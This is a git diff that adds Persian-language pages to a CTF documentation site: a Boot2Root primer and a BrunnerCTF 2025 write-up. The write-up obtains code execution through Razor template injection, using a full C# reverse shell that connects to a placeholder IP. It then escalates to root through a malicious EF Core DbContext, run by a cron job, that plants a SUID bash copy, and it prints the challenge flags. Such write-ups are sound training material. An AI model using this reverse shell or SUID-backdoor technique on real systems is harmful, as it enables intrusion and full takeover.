diff --git a/docs/Boot2Root/index.md b/docs/Boot2Root/index.md new file mode 100644 index 00000000..f4436232 --- /dev/null +++ b/docs/Boot2Root/index.md @@ -0,0 +1,48 @@ +--- +icon: material/linux +tags: +- Boot2Root +- نقطه‌ شروع لینوکس +- CTF +--- + +# Boot2Root + +**Boot2Root چیه؟** +در چالش‌های Boot2Root یک ماشین مجازی (معمولاً لینوکسی) رو بوت می‌کنی و باید با کشف ضعف‌ها، از دسترسی اولیه به کاربر عادی برسی به دسترسی روت و در نهایت فلگ رو برداری. این مدل تمرین‌ها بهترین شبیه‌ساز «مسیر واقعی نفوذ» هست: **کشف سطح حمله → به‌دست‌آوردن دسترسی اولیه → ارتقای دسترسی (Privilege Escalation) → جمع‌آوری فلگ**. + +--- + +## چرا Boot2Root مهمه؟ + +- **ذهنیت فرایندی**: به‌جای حل باگ‌های پراکنده، از ابتدا تا انتهای زنجیرهٔ نفوذ رو تمرین می‌کنی. +- **مهارت‌های واقعی**: لینوکس، شبکه، سرویس‌ها، لاگ‌خوانی، اسکریپت‌نویسی، عیب‌یابی و اتوماسیون. +- **آمادگی برای آزمون‌ها/شغل**: برای مسیرهایی مثل OSCP/جامعه قرمز، تجربهٔ Boot2Root حیاتی‌ست. + +--- + +## برای شروع چه می‌خوام؟ + +**درک سیستم‌عامل** + +- فرمان‌های پایهٔ لینوکس (کار با فایل/فرایند/کاربران، systemd، لاگ‌ها). +- مجوزها (rwx)، مالکیت، SUID/SGID، قابلیت‌ها (Linux Capabilities)، PATH. + +**شبکه و پروتکل‌ها** + +- TCP/UDP، پورت‌ها، بنادر رایج (80/443/22/21/25/3306/6379/5432/…)، DNS و HTTP. + +**سرویس‌ها و فناوری‌های معمول** + +- وب‌سرورها (Apache/Nginx)، پایگاه‌داده (MySQL/Postgres/SQLite)، زبان‌های سمت‌سرور (PHP/Node/Python)، CMSها. + +**ابزارهای پایه** + +- مجازی‌ساز: VirtualBox/VMware. +- توزیع امنیتی: Kali یا Parrot (یا هر لینوکسی که راحتی). +- اسکن و کشف: nmap، whatweb، feroxbuster/gobuster. +- کلاینت‌ها: ssh، scp، curl/wget. +- بررسی داخل سیستم: find، grep، ps، sudo -l، journalctl، crontab. + +> نکته: هدف این نیست که «حرفه‌ای‌ترین ادمین» بشی؛ به‌اندازه‌ای یاد بگیر که گیر نکنی و هر وقت لازم شد برگردی و مطالعه کنی. +> \``` diff --git a/docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md new file mode 100644 index 00000000..e241fdac --- /dev/null +++ b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md @@ -0,0 +1,241 @@ +--- +tags: + - BrunnerCTF + - BrunnerCTF-2025 + - Web + - dotnet +--- + +# چالش Dotwhat..? (User / Root) + +تو این چالش به ما یه وبسایت دادن که از طریقش باید RCE میگرفتیم، خب وبسایت سه تا ورودی داره: + +![UI – سه ورودی](static/1.png) + +--- + +## SSTI & گرفتن RCE + +توی `instructions` تونستیم `SSTI` بزنیم با payload سادهٔ زیر: + +```razor +@(2+2) +``` + +این رفتار به خاطر استفاده از Template engine **Razor** توی `ASP.NET` بود. +پس با `SSTI`، کد مخرب اجرا می‌کنیم—بهترین گزینه برای ما `reverse shell` بود: + +```csharp +@{ + try { + using (var client = new System.Net.Sockets.TcpClient("< I P >", PORT)) { + using (var stream = client.GetStream()) + using (var writer = new System.IO.StreamWriter(stream)) + using (var reader = new System.IO.StreamReader(stream)) { + + writer.AutoFlush = true; + + var psi = new System.Diagnostics.ProcessStartInfo("/bin/bash") { + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + UseShellExecute = false, + CreateNoWindow = true + }; + + var proc = new System.Diagnostics.Process(); + proc.StartInfo = psi; + proc.Start(); + + var stdin = proc.StandardInput; + var stdout = proc.StandardOutput; + var stderr = proc.StandardError; + + new System.Threading.Thread(() => { + string line; + while ((line = stdout.ReadLine()) != null) { + writer.WriteLine(line); + } + }).Start(); + + new System.Threading.Thread(() => { + string line; + while ((line = stderr.ReadLine()) != null) { + writer.WriteLine("ERR: " + line); + } + }).Start(); + + string cmd; + while ((cmd = reader.ReadLine()) != null) { + stdin.WriteLine(cmd); + } + + proc.WaitForExit(); + } + } + } catch (System.Exception ex) { + try { + using (var errClient = new System.Net.Sockets.TcpClient("< I P >", PORT)) { + using (var errStream = errClient.GetStream()) { + var msg = System.Text.Encoding.ASCII.GetBytes("ERROR: " + ex.ToString()); + errStream.Write(msg, 0, msg.Length); + } + } + } catch {} + } +} +``` + +منتظر کانکشن می‌مونیم 😊 + +![Reverse shell connected + (user) flag](static/2.png) + +--- + +## سرنخ برای دسترسی بالاتر: `cron` + +برای خوندن `/root/root.txt` باید دسترسی روت بگیریم. با نگاه به `cron`: + +```bash +cat /etc/cron.d/* +30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron +10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r +PATH=/opt/devtools:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/.dotnet/tools +* * * * * root cd /home/user/app && /usr/bin/dotnet ef database update >> /var/log/migrate.log 2>&1 +``` + +- از خط `* * * * *` مشخصه `cron` **هر دقیقه** اجرا می‌شه؛ پس بعد از قرار دادن/بیلد پروژه، حداکثر ظرف **۶۰ ثانیه** تریگر می‌شه. +- دستور `dotnet ef database update` برای آپدیت اسکیمای دیتابیس، اسمبلی پروژه رو **لود** می‌کنه و یک `DbContext` می‌سازه. هر کدی که در `DbContext` (مثلاً `OnConfiguring`) اجرا می‌شه، اینجا با **دسترسی root** اجرا خواهد شد. بنابراین **بهترین نقطهٔ تزریق** برای PE همین «DbContext» است. + +--- + +## اکسپلویت با `EF Core Migrations` + +ایده: وقتی `cron`، `dotnet ef database update` رو با روت اجرا می‌کنه، `DbContext` ما لود می‌شه و `OnConfiguring` می‌تونه عملیاتِ SUID روی `/bin/bash` انجام بده تا یک `rootbash` بسازه. + +#### (Program.cs) + +```csharp +using app.Models; +using Microsoft.EntityFrameworkCore; + +var builder = WebApplication.CreateBuilder(args); + +builder.Services.AddDbContext(options => + options.UseSqlite("Data Source=/home/user/app/dummy.db")); + +var app = builder.Build(); + +app.UseStaticFiles(); +app.UseRouting(); +app.UseAuthorization(); + +app.MapControllerRoute( + name: "default", + pattern: "{controller=Recipes}/{action=Index}"); + +app.Run(); +``` +#### (app.csproj) +```xml + + + true + net8.0 + enable + enable + + + + + + + +``` + +ساختار فولدر مدل‌ها: + +```bash +mkdir -p Models +``` + +### کد `DbContext` مخرب (PrivEsc) + +#### (Models/PwnContext.cs) +```csharp +using Microsoft.EntityFrameworkCore; +using System.Diagnostics; +using System.IO; + +namespace app.Models +{ + public class PwnContext : DbContext + { + public PwnContext(DbContextOptions options) : base(options) { } + + protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) + { + base.OnConfiguring(optionsBuilder); + + try + { + string target = "/tmp/rootbash"; + + if (!File.Exists(target)) + { + if (Environment.UserName == "root") + { + Process.Start("/bin/bash", "-c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash""); + } + } + } + catch { } + } + + public DbSet DummyTable { get; set; } + } + + public class Dummy + { + public int Id { get; set; } + } +} +``` + +**توضیح این کد چکار می‌کنه؟** +- در `OnConfiguring` بررسی می‌کنه اگر فایل `/tmp/rootbash` وجود نداشت و **کاربر جاری `root`** بود، یک کپی از `/bin/bash` تو `/tmp/rootbash` می‌سازه و با `chmod +s` بیتِ `SUID` رو ست می‌کنه. +- نتیجه: اجرای `/tmp/rootbash -p` یک شل با `effective uid = 0` می‌ده. + +--- + +## بیلد و تریگر شدن توسط `cron` + +```bash +dotnet build +/usr/bin/dotnet ef database update +``` + +(گام دوم رو معمولاً خود `cron` هر دقیقه انجام می‌ده؛ بیلد دستی کمک می‌کنه مطمئن شیم آرتیفکت‌ها آماده‌ان. سپس ظرف حداکثر ~۱ دقیقه، کران تریگر می‌شه.) + +--- + +## گرفتن روت و خواندن فلگ + +```bash +/tmp/rootbash -p +cat /root/root.txt +``` + +--- + +## Flags + +??? success "(User) FLAG :triangular_flag_on_post:" +
`brunner{m0R3_l1K3_r3c1P3_1NJ3ct1On!}`
+??? success "(Root) FLAG :triangular_flag_on_post:" +
`brunner{M1Gr4T3_Th353_pR1v1l3G35!_H4H4_G0T_3M}`
+ + +!!! نویسنده + [Arad]() + diff --git a/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/1.png b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/1.png new file mode 100644 index 00000000..afbde784 Binary files /dev/null and b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/1.png differ diff --git a/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/2.png b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/2.png new file mode 100644 index 00000000..d9d5a2b7 Binary files /dev/null and b/docs/Boot2Root/writeups/2025/BrunnerCTF2025/static/2.png differ diff --git a/mkdocs.yml b/mkdocs.yml index 1d005cf7..cab76405 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -367,6 +367,11 @@ nav: #- پنهان نگاری: # - steganography/index.md + - Boot2Root: + - Boot2Root/index.md + - رایتاپ‌های ۲۰۲۵: + - BrunnerCTF2025: # 24 Aug. 2025 + - Boot2Root/writeups/2025/BrunnerCTF2025/Dotwhat...md - متفرقه: - misc/index.md @@ -396,9 +401,7 @@ nav: - misc/writeups/2023/PingCTF/ping-arcade.md - misc/writeups/2023/PingCTF/wow.md - misc/writeups/2023/PingCTF/you-spin-me-round.md - - - + - وبلاگ: - blog/index.md